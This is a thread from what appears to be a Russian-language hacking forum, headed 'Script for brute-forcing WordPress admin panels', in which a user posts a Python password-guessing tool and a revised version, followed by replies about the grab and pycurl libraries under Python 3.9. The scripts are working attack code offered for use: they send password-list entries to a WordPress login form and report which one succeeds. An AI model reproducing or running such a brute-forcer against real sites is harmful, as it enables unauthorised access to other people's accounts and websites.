• XSS.stack #1 – первый литературный журнал от юзеров форума

Скрипт для брутфорса wordpress админок

stand4r

HDD-drive
Пользователь
Регистрация
18.04.2021
Сообщения
24
Реакции
11
Скрипт наполовину сухой, требует доработки, но работает.
Python:
from requests import Session
from threading import Thread
from colorama import Fore

class Brute:
    def __init__(self, password, user, url):
        self.url = url
        self.user = user
        self.passwords = password
        self.session = Session()
        self.response = self.session.get(self.url)
        if self.response.status_code == 200:
            print(Fore.GREEN + 'SUCCESSFUL CONNECTION' + Fore.RESET)
            self.pass_list()
            print(Fore.GREEN + 'START' + Fore.RESET)
            thread2 = Thread(target=self.request)
            thread2.start()
        else:
            print('Bad')

    def pass_list(self):
        self.arr = []
        if '.txt' in self.passwords:
            with open(self.passwords, 'r') as f:
                self.arr = [i.rstrip() for i in f]
            for i in range(len(self.arr)):
                try:
                    self.arr.remove('')
                    i += 1
                except:
                    i += 1
        else:
            self.arr.append(self.passwords)

    def request(self):
        self.post = {'log': self.user,
                     'pwd': '',
                     'wp-submit': 'Войти',
                     'redirect_to': 'wp-admin/',
                     'testcookie': '1'
                     }
        if len(self.arr) > 1:
            for i in range(len(self.arr)):
                self.post['pwd'] = self.arr[i]
                self.r = self.session.post(self.url, self.post)
                if 'login_error' in self.r.text:
                    print(self.arr[i] + Fore.RED + ': incorrect' + Fore.RESET)
                else:
                    print(self.arr[i] + Fore.GREEN + ': correct' + Fore.RESET)
                    break
        elif len(self.arr) == 1:
            self.post['pwd'] = self.arr[0]
            self.r = self.session.post(self.url, self.post)
            if 'login_error' in self.r.text:
                print(self.arr[0] + Fore.RED + ': incorrect' + Fore.RESET)
            else:
                print(self.arr[0] + Fore.GREEN + ': correct' + Fore.RESET)


if __name__ == '__main__':
    url = input('URL: ')
    user = input('Username: ')
    password = input('Password or list: ')
    Brute(password, user, url)
 
grab работает только на python2, а я использую версию 3.9.
и хотел бы исправить свою ошибку - это использование многопоточности, потому она ни чем не поможет.
Код с поправками:
Python:
from requests import Session
from colorama import Fore, init

class Brute:
    def __init__(self, password, user, url):
        init(autoreset=True)
        self.url = url
        self.user = user
        self.passwords = password
        self.session = Session()
        if self.session.get(self.url).status_code == 200:
            print(Fore.GREEN + 'SUCCESSFUL CONNECTION')
            self.pass_list()
            print(Fore.GREEN + 'START')
            self.request()
        else:
            print(Fore.RED + 'CONNECTION FAILED')

    def pass_list(self):
        self.arr = []
        try:
            with open(self.passwords, 'r') as f:
                self.arr = [i.rstrip() for i in f]
            print(Fore.RED + 'FILE NOT FOUND')
        except:
            self.arr.append(self.passwords)

    def request(self):
        self.post = {'log': self.user,
                     'pwd': '',
                     'wp-submit': 'Войти',
                     'redirect_to': 'wp-admin/',
                     'testcookie': '1'
                     }
        if len(self.arr) > 1:
            for i in range(len(self.arr)):
                self.post['pwd'] = self.arr[i]
                self.r = self.session.post(self.url, self.post)
                if 'login_error' in self.r.text:
                    print(self.arr[i] + Fore.RED + ': incorrect')
                else:
                    print(self.arr[i] + Fore.GREEN + ': correct')
                    break

        elif len(self.arr) == 1:
            self.post['pwd'] = self.arr[0]
            self.r = self.session.post(self.url, self.post)
            if 'login_error' in self.r.text:
                print(self.arr[0] + Fore.RED + ': incorrect')
            else:
                print(self.arr[0] + Fore.GREEN + ': correct')


if __name__ == '__main__':
    url = input('URL: ')
    user = input('Username: ')
    password = input('Password or list: ')
    Brute(password, user, url)
 
grab работает только на python2, а я использую версию 3.9.
Код:
Python 3.9.5 (default, May 24 2021, 12:50:35)
[GCC 11.1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from grab import Grab
>>> g = Grab()
>>> g.go("https://www.google.com")
<grab.document.Document object at 0x7fbeef395480>
>>>
 
когда я пытаюсь отправить post запрос выдает ошибку, что pycurl не установлен, а сам pycurl только для python2
Код:
Python 3.9.5 (default, May 24 2021, 12:50:35)
[GCC 11.1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pycurl
>>> pycurl.version
'PycURL/7.43.0.1 libcurl/7.77.0 OpenSSL/1.1.1k zlib/1.2.11 zstd/1.5.0 libidn2/2.3.1 libpsl/0.21.1 (+libidn2/2.3.0) libssh2/1.9.0 nghttp2/1.43.0'
>>>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх